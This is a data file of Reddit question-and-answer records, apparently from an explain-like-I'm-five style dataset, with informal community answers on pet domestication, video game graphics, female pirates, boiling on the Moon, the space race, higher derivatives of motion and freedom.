{"q_id": "rtr4n", "title": "Theoretically, if raised from birth, can any animal be raised as a pet?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rtr4n/theoretically_if_raised_from_birth_can_any_animal/", "answers": {"a_id": ["c48l1gu", "c48ls6k"], "score": [5, 8], "text": ["Yes and no, mostly no.\n\nTake any mammal rabbit-sized or larger... can you expect to be able to raise them to be as friendly/loyal/lovable/reliable as a cat or dog? Generally no.  Legally no.  Sometimes yes.  Wild breeds often do not take well to being captive and can tend to be violent. Often man and animal can come to a mutual understanding of boundaries on an individual basis, but if you want a pet that you'll trust to snuggle with your neighbor's toddler, look elsewhere. Inside a species it also depends on the personality of the individual, they vary just like people.", "I have worked in a lot of zoos with hand-raised animals and the majority of them would make crappy pets. Many reasons: (1) Some never get over their innate flight response, and completely panic at the most minor things no matter how gently they have been raised. (I nursed one handraised deer through a six-hour-long panic attack triggered when the deer saw a hat.)  (2) Some are naturally very aggressive to each other and/or constantly playing dominance games; these species are tremendously dangerous if they are not scared of people. (I am now extremely cautious around any hand-raised Rhesus monkeys.) Also - some have seasonal aggressive behavior that is driven by hormonal cycles, in which they will suddenly turn on you even if you have always treated them nicely (bull elephants are a famous case).  (4) A lot of animals do not do \"social bonding\" the way we do, and never really become affectionate/loyal no matter how affectionately they're raised. (5) A lot have diets that are very difficult to mimic in a home situation. Insectivores and browsers (eaters of leaves-but-not-grass) are very difficult to feed correctly in a home situation. (6) Some have digging/climbing/etc. tendencies that mean they're very destructive to a home environment. (Raccoons are fun pets except that they will tear your house apart) (7) Some get too territorial and will end up trying to \"take over\" your home and keep you out of it.  \n\nMost domestic animals come from wild species that naturally were \"pre-adapted\" to domestication by virtue of having a set of the relevant social behaviors already in place - \"follow-the-leader\" social behavior, limited territoriality (or at least, willingness to follow alpha leader through other territories), limited aggression within the social group, nonspecialized diets, etc. \n\nRefs [here](_URL_0_) and [here](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.nature.com/nature/journal/v418/n6898/full/nature01019.html?lang=en", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2702791/"]]}
{"q_id": "2pd1cm", "title": "how do video games work? like how do 1 and 0's make graphics so realistic?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2pd1cm/eli5_how_do_video_games_work_like_how_do_1_and_0s/", "answers": {"a_id": ["cmviwj1", "cmvj14r", "cmvjbo6", "cmvjgck", "cmvjgsq", "cmvjjam", "cmvjqt9", "cmvk9ek", "cmvl567", "cmvldj0", "cmvltnm", "cmvmaz5", "cmvmx92", "cmvn3b8", "cmvnare", "cmvofsl"], "score": [8, 38, 12, 1066, 2, 2, 2, 4, 2, 2, 29, 3, 2, 2, 2, 3], "text": ["Not entirely sure what you're getting at here really, so I'll try this:  It's not the 1s and 0s, per se, it's the monitor's capability to turn those 1s and 0s into colours.  The rest is just calculating what order those 1s and 0s should come in, really *really* fast.", "Those 1s and 0s represent different values.  Those values combine and end up corresponding to things like pixel location, color, brightness, and time.  These are then displayed on a screen, and that's the end of it for the computer/console.\n\nBut it's also the beginning of where *you* come in.  Your brain receives these light emissions and organizes them into a pattern it can understand.  Then your higher level of functioning applies context to it.  Continued exposure to that context becomes understood as a story.\n\nIn truth, the \"realism\" is entirely inside your head.  I still remember seeing Ocarina of Time on an N64 and thinking it was the most realistic depiction of human beings I'd ever seen.  Continued exposure to that resulted in developing a love for the game, and a fond memory of it now as a significant part of my childhood.  Yet it's nothing compared to the quality of the graphics we have today, and still - at it's most fundamental level - nothing more than various light patterns coming off a screen.  \n\nAll the realism, and connections of video games to it, are entirely in our minds.  That's where the real magic happens.  Compared to that, those 1s and 0s are easy to explain.", "That's kinda a huge question. You're kind of asking how the very top layer of code is turned into the bottom layer of code which is a long explanation.  And I should preface my answer by saying that I study the logic and structure of code, and do no/very little graphics coding.\n\nSo most coding is done in a \"higher level\" language (C++, java, etc) which uses short command words that are somewhat intuitive for what they do. So you usually have one code that will \"build\" the graphics ( takes care of color, orientation, direction, which might also be broken down into further programs but let's keep it simple.  Then you have another program that will decide \"what's happening\" (for example \"this triangle is changing color\", or \"the player is moving forward\") and it passes the values to that first program, which implements them.\n\nThis \"higher level code\" looks something like this:\n\nvoid AdjustVertexData(float fXOffset, float fYOffset)\n{\n    std::vector < float >  fNewData(ARRAY_COUNT(vertexPositions));\n    memcpy( & fNewData[0], vertexPositions, sizeof(vertexPositions));\n    \n    for(int iVertex = 0; iVertex  <  ARRAY_COUNT(vertexPositions); iVertex += 4)\n    {\n        fNewData[iVertex] += fXOffset;\n        fNewData[iVertex + 1] += fYOffset;\n    }\n    \n    glBindBuffer(GL_ARRAY_BUFFER, positionBufferObject);\n    glBufferSubData(GL_ARRAY_BUFFER, 0, sizeof(vertexPositions),  & fNewData[0]);\n    glBindBuffer(GL_ARRAY_BUFFER, 0);\n\n\n\nNow a different program takes this code and translates it to 1's and 0's (there is another step in between but let's keep it simple).\n\nSo the 1's and 0's are binary numbers that are arranged in strings of 1's and 0's that are 8, 16, 32, or 64 characters long (generally)( for example 01110111 if it was 8-bit). You can break down this string of 1's and 0's into sections. Part of it is telling the computer what kind of instruction it is, Part of it is telling the computer what the value is,  part of it is telling it what to do with the values and where to put them after. But in the end the 1's and 0's are switches turning on and off that are wired to circuits called logic gates that decide how to combine the on and off switches. \n\nI hope that answered some questions, sorry if some isn't quite right as I'm on my phone and graphics coding isn't my area of study. \n\nEdit: some formatting \n", "1s and 0s are typically processed in *chunks*, not individually.\n\nSay you've got a system that works like this: 0000 represents a black pixel, and 0001 represents a white pixel. When the monitor reads 0000, it generates a black pixel, and when it reads 0001, it generates a white pixel in the pixel immediately following that.\n\nNow throw in a few extra commands. Maybe 0100 means \"go to the next line.\" Now you could have a series of chunks of data that looks like this:\n\n    0000 0000 0001 0001 0000 0000 0001 0001 0000 0000 0100\n    0000 0000 0001 0001 0000 0000 0001 0001 0000 0000 0100\n    0001 0001 0000 0000 0001 0001 0000 0000 0001 0001 0100\n    0001 0001 0000 0000 0001 0001 0000 0000 0001 0001 0100\n    0000 0000 0001 0001 0000 0000 0001 0001 0000 0000 0100\n    0000 0000 0001 0001 0000 0000 0001 0001 0000 0000 0100\n    0001 0001 0000 0000 0001 0001 0000 0000 0001 0001 0100\n    0001 0001 0000 0000 0001 0001 0000 0000 0001 0001 0100\n    0000 0000 0001 0001 0000 0000 0001 0001 0000 0000 0100\n    0000 0000 0001 0001 0000 0000 0001 0001 0000 0000 0100\n    0001 0001 0000 0000 0001 0001 0000 0000 0001 0001 0100\n    0001 0001 0000 0000 0001 0001 0000 0000 0001 0001 0100\n    0000 0000 0001 0001 0000 0000 0001 0001 0000 0000 0100\n    0000 0000 0001 0001 0000 0000 0001 0001 0000 0000 0100\n    0001 0001 0000 0000 0001 0001 0000 0000 0001 0001 0100\n    0001 0001 0000 0000 0001 0001 0000 0000 0001 0001 0100\n\nTo us, this is just a bunch of 1s and 0s, but the computer will read this and display a checkerboard pattern, like this:\n\n    xx  xx  xx  xx\n      xx  xx  xx\n    xx  xx  xx  xx\n      xx  xx  xx\n\netc.\n\nNow imagine that you add in some extra colors. Maybe 0000 is black, 0001 is white, 0010 is red, 0011 is blue, 0100 is green, 0101 is orange, 0110 is purple, 0111 is yellow, 1000 is pink, 1001 is brown, 1011 is gray, 1100 is beige, etc.\n\nSuddenly you've got the possibility to make a *lot* of different shapes and colors in that grid of 1s and 0s above.\n\nNow, modern games have a *lot* of 1s and 0s in them. Say you've got a game that uses 32-bit color.\n\nIn the example above, I was using *4-bit* color. Each \"bit\" is either a one or a zero. The maximum number of colors I could handle at 4 bits represents all of the different possible combinations of 1s and 0s that can be represented by one bit:\n\nEach bit can be one of two things, and you have four of them, so\n\n2 x 2 x 2 x 2 = 2^4, or 16 possible colors.\n\nWhat *32*-bit color means is:\n\n2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2 x 2\n\n= 2^32 = 4294967296 possible colors.\n\nThe incredibly high amount of colors allows for more subtle and realistic shading. A lot of math behind the scenes tells the program how to use these colors, and how they should change in response to everything else.\n\nSo, long story short, video games are *extremely* complex, and 1s and 0s add up!\n\n**edit:** got a little trigger happy copying and pasting twos! I think I counted right this time", "Sorry my answers are very broad, but there is a lot to answer in your questions.\n\n* How do computers work? A Computer is essentially a machine that does logic  &  maths operations - lots and lots of logic  &  maths automatically at high speeds. Early forms of the modern computer were developed from the knowledge of the mechanical WW2 code-breaking computers/machines. How modern computers actually work is another huge question.\n\n* How does a computer display images? Watch this video by John Carmack explaining the approach of rendering as computers developed in both hardware  &  software: _URL_0_  TL;DW Programmers are trying to imitate how light works. Over time computer hardware and software have grown more capable at simulating more complex lighting models to higher levels of detail.\n\n* How do video games work? A video game is a program. A program is a set of instructions which are given to the computer to execute. So this is basically a combination of a shopping list, the recipe, and the dinner serving instructions.\n\n* How are they so good? Everybody wants always wants new and better, it's the curse/blessing of modern life.", "That's an extremely vague question, so you'll probably only receive equally vague answers.\n\nFundamentally, the realism in a video game comes from several things:\n\n1. The graphics engine. This is the software responsible for performing the calculations required to process and render images. It does everything from calculating lighting and shadows to animation and texturing. Modern engines use lots of clever and advanced techniques and algorithms to add realism.\n2. The assets. These are files containing data that the engine makes use of to render a scene. There will often be meshes, which describe the 3D shape of an object; textures, which describe the colors and patterns that are applied to an object; normal maps, which the lighting calculations use to give a surface a more textured appearance; specular maps, which the lighting engine uses to add highlights; materials, which describe how light is reflected, absorbed and colored by a 3D object; skeletal animations, which describe how meshes move etc.\n3. The hardware. As you'll know, most games these days require a graphics card. The hardware performs specialized processing that would be too slow to perform on a general purpose CPU.\n4. The artists. A huge part of the realism actually comes from the artists and the level designers. If you've ever seen a map inside a level designer, you'll see that it's more like a film set. Everything's smoke and mirrors.", "* [LI5: How do ones and zeros become complex computer games?](_URL_3_)\n* [ELI5: How are images/artwork coded into computer games](_URL_1_)\n* [Can someone explain how does computer programming and processing work at the hardware level?](_URL_0_)\n* [ELI5: How computers turn 0's and 1's into text, video, and other programs/applications.](_URL_2_)", "Well to start, a string of 0's and 1's isn't some magical code, it's just a number in a different form than you're used to. If we wanted to put the number 27 into a computer, it'd understand that value as 00011011. Computers use simple numbers for just about everything.\n\nThe very tiny elements that make up your computer screen (called pixels) can emit red, green, and blue light in various intensities. When all three colors are at maximum, you see it as white. When all three colors are at minimum, you see it as black. And you can mess with the intensities of the red, green, and blue in various combinations to create basically any color you can think of. Yellow is a combination of red and green, for example.\n\nNow, remember how I said computers think of everything in numbers? Well, it stores a number for each of the red, green, and blue values of every pixel on your screen. These numbers can range anywhere from 0-255. So for every pixel on your screen, it has three numbers it keeps track of in order to make a color. The numbers to make a pixel bright red would be 255, 0, 0. The numbers to make something gunmetal grey might be 34, 42, 56. Any color can be displayed on the pixel using just three numbers.\n\nSo if I wanted to turn your entire screen bright red, I would tell every pixel to change its color values to 255, 0, 0. But maybe I don't want to turn the whole screen one color. Let's say I want to put a neat \"bloody\" effect around the edges of the screen for when you're playing a game and get shot. I could tell only the pixels near the edge to turn red. I could tell them to change up their color a bit, so the splatter seems to have contours and shadowing (some might have color values 232, 18, 4 for example - it'll still look mostly red, just a different shade). I could even tell them to act transparently, combining the color of blood splatter with the background that's already there.\n\nVideo games have a massive amount of code dedicated to doing this sort of stuff. You have code for determining which pixels you need to mess with in order to make the shape of a certain object. You have code for determining what color to change those pixels to. You have code for taking 3D models and calculating how to show them on the 2D screen so they look like they have depth. All video game graphics technology is, at the fundamental level, changing numbers subtly in an attempt to make what's on screen look like real life.", "Layers of complexity. \n\nAt the lowest level there is machine instructions that the processor interprets as 1s and 0s. \n\nBut developers of games RARELY need to code at that level anymore. \n\nModern games are usually made with middle-ware game authoring tools like Unity or Unreal which convert the high level concepts like Actors and Lights and scripts into low level machine instruction 1s and 0s that the computer understands. \n\nBasically programs are used to create games. \n\n", "Heres an explanation for a five year old:\n\nImagine that you have a black and white monitor (with no grays). Each pixel can be either on (white) or off (black). In the computer's memory, \"1\" means represents the \"on\" state, and \"0\" represents the \"off\" state. On a screen, you can represent any combination of black and white squares with two states. This concept scales up in complexity and eventually creates color and 3d computer graphics.\n\n000000000000000000000\n\n010101110100010001110\n\n011101100100010001010\n\n010101110111011101110\n\n000000000000000000000\n\nWe don't need to consider these two states as \"1\" and \"0\", it just so happens that using 1 and 0 makes a lot of stuff, like binary arithmetic, easy to understand.\n\nOkay, maybe this explanation is for a 10 year old.", "Bits (0 and 1) can make a lot of things. *The following is highly simplified, but still contains the basics.*\n\n**Image**\n\nYour computer is capable of displaying 16,777,216 different colors. To do so, a color is represented by 24 bits: 8 bits for red, 8 bits for green and 8 bits for blue.\n\nWhen the 8 bits for red are all 0 it means no red, when they are all 1 it means add a lot of red (with 8 bits you can encode 256 level of redness). The same apply for green and blue. If you want a gold color for example, you put max red, almost max green and no blue. red+green will look yellow (light is fun) and as there is a little bit more of red than green, it will look orange-ish yellow.\n\nIf at each pixel of your screen, you choose a different color, you can display a magnificent picture.\n\n**Sound**\n\nSound is vibration. To make something vibrate you have to move it back and forth at high speed. Your computer have a speaker that you can position at 65,536 different positions (encoded with 16 bits).\n\nIf you change this position back and forth at regular interval you will create a sound. The faster you oscillate, the higher the pitch of the sound is. The wider are the oscillation, the stronger is the sound.\n\nBy combining different movement you can create complex sounds, like someone speaking.\n\n**Physics**\n\nFor every object, in the memory of the computer, you know its position, its direction, and its speed. When time advance, you move the position depending on the speed (you add a little bit of the speed to the position).\nNow, if the object touch an other object (positions are close to each other), then you detect an impact, and you change the speed of each object so they will bounce of of each other later. Position, direction, speed, ... are all encoded with 3 values each (3D space) which are usually encoded using 32 bits numbers (*floats*).\n\n**Joystick**\n\nYour joystick/mouse/keyboard perpetually send numbers that tells which button has been pressed and how much it was pressed (those numbers are encoded into bits). With that, the computer can decide that the speed of the mouse is exactly the speed at which it has to turn the camera (First Person Shooters).\n\n**3D**\n\nDisplaying an image is great, but what about 3D objects. Well, they are represented as a big bunch of triangles in 3D space. A triangle is 3 vertices each positioned with 3 coordinates (so 9 numbers, encoded with bits, per triangle). You also have the camera and a light, somewhere in the same 3D space. They have a position (3 numbers) and a direction (3 numbers).\n\nWith mathematics you can move your triangles depending on the position/direction of the object. Then you can use mathematics again to project each triangle to the camera. When you have done so, your triangle is virtually splattered on the screen of the camera, which will correspond to the screen of your computer. And you only have to color the pixels that are in this triangle, with the texture of the triangle (if the triangle was in the light), or black (of the triangle was in the shadow). To know if a triangle is in the light or in the dark you need to also use mathematics.\n\nThe \"mathematics\" needed for the previous paragraph is actually *linear algebra*. But I didn't want to say that 3 times. :-)", "Aside from the actual 1 and 0 part others have explained well, the thing you might be actually asking about is how do 1 and 0 actually make realistic graphics. Long ago, you could only render basic shapes, which is why Lara Croft's boobs where simply triangles. As our processing power increased dramatically, you can now take that triangle and replace it with something more realistic, a round shape. You'd think that would have been simple, but round isn't exactly an easy shape to make with 1 and 0, in fact it's almost impossible. Instead, they make polygons with other shapes to make them look round. Imagine instead of one giant triangle, they use hundres of smaller ones to simulate a round object like this _URL_0_\n\nAs you can see, the more basic shapes you use, the more it'll start to look like a ball. Now we have so much power, you can use MILLIONS of tiny triangles or shapes to get something that looks like a real boob. There is so much more that goes into it, but essentially, graphics have gotten more realistic as computers can calculate the positions of those shapes at a realistic rate. The more realistic, the more intense the calculations. Which is why cutscenes or commercials for a game look so amazing but the game itself looks \"meh\" compared to a prerendered scene. They had months to process those scenes at such a high level of realism, while the game itself has to be rendered on the fly by an Xbox processor instead of a billion dollar render farm.  That's also why you can lower the graphic settings to make it look worse but run smoother. You're lower the amounts of shapes used for every item on the screen, lowering the shading which is a whole different beast, and dropping some effects to help the processor calculate the essential and most important aspects of the game, like gameplay and framerate. ", "There's a lot of stuff built up between 1s and 0s and video game graphics: that's like saying \"how does a pile of metal make my car move\". That said, I'll try and strip down the steps a little.\n\n1s and 0s are basically voltages: either a wire carries electricity or it doesn't. We use binary to treat groups of those as numbers: 0000 being 0, 1111 being 15 (or F in hexadecimal), etc. We store those numbers on drives in large groups, and use more numbers to address them. Then a processor uses those numbers to do basic math: at it's core, a processor is a big calculator following instructions like: take the number at address 456, add it to the number at address 789, and store the result in address 123. The instructions on what action to perform on what number is, you guessed it, more numbers. This base programming language is called Assembly, and all modern code breaks down into it to run. This is what people talk about when they refer to ARM, x86, x64, etc: different Assembly\n\nAbove that, you have tools to make more human readable code: C, then C++, C#, Java, etc. Most games are written in C++, because turning higher level languages into Assembly level code is less efficient the higher up you go: there's more \"stuff\" associated with it, and games typically need to manage that \"stuff\" more granularly than allowed in more managed code bases. There's a great many concepts in this tier, but from a high level you can just say \"there have been lots of conceptual advances in how we program things since the 80s\".\n\nNow graphics engines are a big part of those \"conceptual advances\". We've gotten better at rendering art in more ways than just raw pixels: light effects, anti aliasing, bump mapping... all these are coded pieces that take a given image and render detail into it. Consider the differences between MS Paint and Photoshop: that's the same evolution in video game imagery, and it took years to get where it is now. Photorealistic rendering is, at it's core, just code: but it's just as much about being able to process MORE code as it is about finding ways to express new concepts with LESS code. Those work in tandem to move us forward.\n\nI know I'm hand-waving a bit, but it's because all these topics are VERY dense: you can build a lifelong career out of just a few pieces of what I'm talking about. The bottom line is, you have decades of very smart people finding ways to give us more powerful computers with smarter technology and better graphical effects, more realistic physics, and cleverer adaptive AI.", "Your computer has a \"chip\" inside it, the CPU, which understands its own primitive language.\n\nThe grammar of this language can be broken down in to two main categories: Arithmetic and Mechanical functions.\n\nThe arithmetic is fairly straight forward: Take two numbers and add them together. Or multiply. Etc.\n\nThe mechanical functions require some understanding of the hardware, and can vary in different electronics. You can think of these as ideas like *Move this item from here to there* or *notify another hardware device that something happened.*\n\nThis language is written as many sentences composed of a *verb* and an *object*. Each *word* in a sentence is expressed as a particular number. **For example, the word \"add\" could as 01000010 00000001.** \n\n* [Select] [the first item in memory].\n* [Select] [the second item in memory].\n* [Add]\n* [Move] [result to third location in memory].\n\nAnd so on...\n\nBecause the sentences are very elementary, it requires many of them (millions/billions) to do most useful tasks. We have tools that help us write many of these sentences quickly called *programming languages*.\n\nProgramming languages are nearly as old as computers themselves. After all, writing computer programs in the same language that computers understand is not ideal for humans. In the days of early computers, programming languages were still fairly primitive, much like the computer language they represented. Over time, they got more complicated and capable of doing more impressive tasks, more easily. This is a case of scientists automating complex and specialized fields so that the people who follow them can repeat the steps with less work.\n\nAround the late 1990s, a new kid showed up on the block in video game production: The *Game Engine*. These products were tool belts for the production of video games, and they were very specialized at making games and producing graphics.  Over time, as computers got faster and more powerful, new game engines became available which included the latest, state of the art graphics technologies.\n\nThe reason we have such realistic graphics with nothing but zeros and ones: Many decades of hard work by skilled scientists have given use the *tools* to do very complicated things with less and less work. Much like how automated robots have cheapened the labour in our factories. All our computer programs are understood by the same basic \"CPU language\", but its the tools that let us do magnificent things with it.", "Here's how the business / history side of this worked:\n\nYou know how morse code translates 1's and 0's to letters? Like 000111000 is SOS?\n\nSomeone set up a standard that a bunch of 1's and 0's means to tell a computer to do simple instructions. This is not actually how it works, but maybe '01001001' means I. And '01000110' means F.\n\nThen someone used that standard to tell a computer to do complicated instructions. Maybe 'IF' together has a special meaning.\n\nThen someone used that standard to do more complicated things. Maybe 'IF TIME EQUALS 6PM THEN RUN SUNSET\" has a special meaning.\n\nAnd so on and so on until we are dozens and dozens of levels above 1's and 0's. The reason we do this is because it's much easier for a designer to start at the \"IF TIME EQUALS\" high level. The trade off is that it's less efficient to start at that level as you have so many levels that need to be converted. Fortunately, computers are insanely fast, getting an education in 0's and 1's is rare, and human work hours are expensive so everyone is on board with this trade-off.\n\nIn real life, one of these levels may be DirectX. A game company would buy a license to use it, then make another level above it called an Engine that would use DirectX to do custom sunset graphics. Then a designer at that company could set up logic to decide what the sunset would look like. Ultimately the path is Designer - >  Sunset Logic - >  Engine - >  Engine Logic - >  DirectX - >  DirectX Logic - >  ... - >  1s and 0s.", "If we string together several 1s and 0s we can represent ordinary numbers you learned about in school. Computers are built to do all the same arithmetic you did in school as well. Addition, subtraction, multiplication and division. They can also do simple logic and move numbers around in memory.\n\nIt turns out, that this is enough to make computers do any kind of math, no matter how sophisticated. All math eventually boils down to these simple operations when you write a program to solve the math.\n\nWhy is that important? Well physicists long ago worked out precise equations that describe how light works. Since then researchers have developed ways of describing how materials behave when light bounces off of them or passes through them.\n\nCombining these things, very complex equations and descriptions of a virtual world can be developed that simulate what a picture would look like starting from shapes and materials stored in the computer. These equations allow the programmer to control the point of view and what direction you are looking.\n\nNow, since all equations eventually boil down to simple arithmetic, simple logic and moving things in memory, clever programmers can make the computer solve these complicated equations on a 2D grid of numbers called pixels (often with many processors working on this at the same time). \n\nWhere do the shapes and materials come from? Artists will make these by hand, they sculpt the 3 dimensional shapes in the computer with digital sculpting software or use 3d scanners that measure the positions of a bunch of random points on the surface of some object. Artists will digitally paint these sculptures in the computer with colors and material properties like how shiny, transparent, glassy, metallic or bumpy the surface is.\n\nAll of this geometry and texture information is ultimately represented by a bunch of numbers sitting in memory in the computer. Since equations ultimately deal with numbers, this is perfect, we can make the equations, and ultimately the code solving the equations take these numbers and turn them into numbers that describe how much light would bounce off of them and into the camera/eye if they were real objects.\n\nThe result is a big grid of numbers in memory representing the solution to these equations. The grid of numbers describe how much red green and blue light is passing through the cells of the grid overlaid on a virtual square that simulates the sensor of a camera or the retina of your eye.\n\nThat's all well and good, but how do you see this big grid of numbers? Well your monitor has electronics that knows how to take a number representing color, combined with the position on the screen and vary the brightness of the red, green or blue pixels on your screen to match the number you give it. The result is a conversion of this grid of numbers to a grid of colors that you see.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["www.youtube.com/watch?v=IyUgHPs86XM"], [], ["http://www.reddit.com/r/explainlikeimfive/comments/j2j63/can_someone_explain_how_does_computer_programming/", "http://www.reddit.com/r/explainlikeimfive/comments/1ankll/eli5_how_are_imagesartwork_coded_into_computer/", "http://www.reddit.com/r/explainlikeimfive/comments/nyvkb/eli5_how_computers_turn_0s_and_1s_into_text_video/", "http://www.reddit.com/r/explainlikeimfive/comments/j2s6d/li5_how_do_ones_and_zeros_become_complex_computer/"], [], [], [], [], ["http://facweb.cs.depaul.edu/sgrais/images/MassVoid/polygon1.jpg"], [], [], [], []]}
{"q_id": "84udz7", "title": "What did Anne Bonney and Mary read do as pirates(questions)", "selftext": "Is it true they fought while there whole crew was drunk\n\nIs it true Anne was mad at Rackham after they got caught and she insult him.\n\nHow trust worthy is A General History of the Robberies and Murders of the most notorious Pyrates(I think it at least 70% true maybe 50% definitely higher than 35%)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/84udz7/what_did_anne_bonney_and_mary_read_do_as/", "answers": {"a_id": ["dvx888i"], "score": [3], "text": ["[Here](_URL_0_) is an earlier answer from u/DavidAOP in which he also links to an article he's written about Anne Bonney, Mary Read and other female pirates. Not read the article myself, but it is quite long and there may be something of use there. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/61co0f/how_did_female_pirates_gain_the_respect_and/"]]}
{"q_id": "4e57mh", "title": "what's the difference between boiling and evaporating? why do some people say water would try to boil and freeze on the moon?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4e57mh/eli5_whats_the_difference_between_boiling_and/", "answers": {"a_id": ["d1x4j3i", "d1x4muf", "d1x97f8"], "score": [3, 5, 2], "text": ["Evaporating is when liquid loosed molecules of itself into surrounding air. It happens because every molecule has some energy, and some have enough energy to overcome attraction of other molecules, and escape into the air. So evaporating its when molecules of liquid escape only from surface of the liquid. Boiling is when molecules escape within liquid, into air bubbles, because they have additional energy that they get from heat. ", "there's no actual difference between \"boiling\" and \"evaporating\"..   well, not in normal use. \n\nthe boiling point of a liquid is defined as the point at which it starts to become vapor.\n\nevaporation is when vapor leaves a liquid..    so whilst they technically refer to different things,  in common useage they refer to the same thing. \n\nhere's the thing though.    you can make a liquid boil by increasing it's temperature. \n\nOR you can make it boil by reducing the pressure that it's held at. \n\nor a combination of the both. \n\nthe \"tripple point\" of water..  that is, the temperature / pressure at which solid, liquid, and gas can all exist at the same time, is 0.01c (32.02f) AND 611.657 pascals of pressure. \n\nif you decrease that temperature by even a little, the steam turns to liquid, and then freezes.  \n\nif you decrease that pressure by even a little, the ice melts and then boils into steam.\n\non the Moon, it's VERY VERY cold.   and there's basically no pressure.  ...  \n\nwikipedia tells me it's -150c and 3x10-15 bar.... but when the sun comes out, that -150c can get up to +200c.   almost instantly.\n\nobviously any water that's left on the surface of the moon in direct sunlight is pretty much INSTANTLY going to flash into vapor, and wander off into space. \n\nhowever, if you spilled a cup of water in the shade on the moon, it would actually freeze..  as even though the pressure on the moon means that the boiling point of water is VERY VERY low, there are actually places on the moon where it's actually THAT cold.   ..   however as soon as any sunlight at all hit that ice, it'd more or less instantly flash into steam.\n\nthat being said, there's some evidence that there's actually small quantities of water on the moon..   at the lunar poles (where sunlight almost never falls) ,  buried under a thin layer of dust and dirt. (which reflects what little light/heat gets there) ..", "* Boiling\n\nHappens only at specific temperature (more than 100 C)\n\nHappens all around the water\n\nStops if temperature drops\n\n* Evaporation\n\nHappen at any temperature, even lower temperatures. \n This is why water on roads evaporates\n\nHappens only on the surface\n\nContinues but to a lesser extent if temperature drops.\n\n\n  Moon has a very low pressure making it easier to boil and it starts boiling. However, it is so cold that it also   freezes. It's a bit complicated to explain the full thing. Try the link below to understand better if you didn't get it.\n\n_URL_0_ "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://medium.com/starts-with-a-bang/does-water-freeze-or-boil-in-space-7889856d7f36#.l6fesitcm"]]}
{"q_id": "97zaop", "title": "why did the 'space race' seem to slow down?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/97zaop/eli5_why_did_the_space_race_seem_to_slow_down/", "answers": {"a_id": ["e4c4bal", "e4c4bas"], "score": [2, 2], "text": ["Because we won? \nThe race was to put a man on the moon first. The United States did that. These days countries work together since pooling resources is a much better way to advance knowledge and understanding of the universe. ", "The USA spent much more than the Soviet Union could afford to spend, so it was no longer as much of a contest.\n\nFaced with no close rival, the USA also chose to reduce its spending. There was little actual benefit at the time in building a moon base, for example \u2014 compared to its huge cost that is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "wljh9", "title": "Is it possible to have instantaneous change in velocity, acceleration, or ANY of the higher derivatives of position?", "selftext": "As I understand it, it's impossible to have instantaneous change in position because it would require infinite velocity. Likewise, it's impossible to have instantaneous change in velocity, since it would require infinite acceleration.\n\nSo, I'm assuming that it just keeps going on like this as you keep getting into the higher derivatives like jerk and whatnot. However, when I release something from my hand in a vacuum, isn't that object going IMMEDIATELY from 0 m/s^2 to 9.8 m/s^2? Doesn't that mean that the object experiences an unfathomably high jerk for that one brief moment in time? I know that you can't have a perfect vacuum, but I don't really have enough insight into the mechanics behind the higher derivatives of acceleration.\n\nI'm sure someone has a good way to explain this...", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wljh9/is_it_possible_to_have_instantaneous_change_in/", "answers": {"a_id": ["c5eczrt", "c5efuuo", "c5ege47"], "score": [18, 15, 50], "text": ["These higher derivatives can be quite large, but they can't be infinite.  Consider releasing a ball from your hand in a vacuum.  In order of the acceleration to immediately jump from 0 m/s^2 to 9.8 m/s^2 you would have to let go of the ball instantaneously.  You can't do that though.  There will be some (small) amount of time during which you're slowly releasing your grip on the ball.  During this time the frictional force your hand is exerting on the ball will be decreasing and the net acceleration of the ball will be increasing.", "Is nature infinitely differentiable?  In some cases the answer is definitely \"No.\"  Phase transitions, for instance, can be defined as discontinuities in one of the derivatives of the free energy.\n\nIn other cases it depends on your model.  For the ideal classical model of dropping a ball from rest at time t = 0, clearly the acceleration function has a discontinuity.\n\nI agree that there are things like quantum mechanics and brownian motion and the stickiness of your hand when you drop a ball that can introduce some smoothing to discontinuous functions.  But here's where I disagree with \"splatula\" and others: Even if you smooth a discontinuous function, one of the higher derivatives of that smoothed function will still be discontinuous.  So I think that nature is not infinitely differentiable, even when everything is somehow eventually taken into account.", "Mathematician here.  You're asking whether or not the function which maps your position as a function of time is infinitely differentiable.  This is a question which transcends empirical testability."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1oupqn", "title": "why freedom is important?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1oupqn/eli5_why_freedom_is_important/", "answers": {"a_id": ["ccvt1xr", "ccvt2c6"], "score": [3, 3], "text": ["Cultural and personal values. It's not actually important from the perspective of the universe. The universe couldn't care less about human freedom haha.", "Because oppression(someone else having control over you) sucks.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
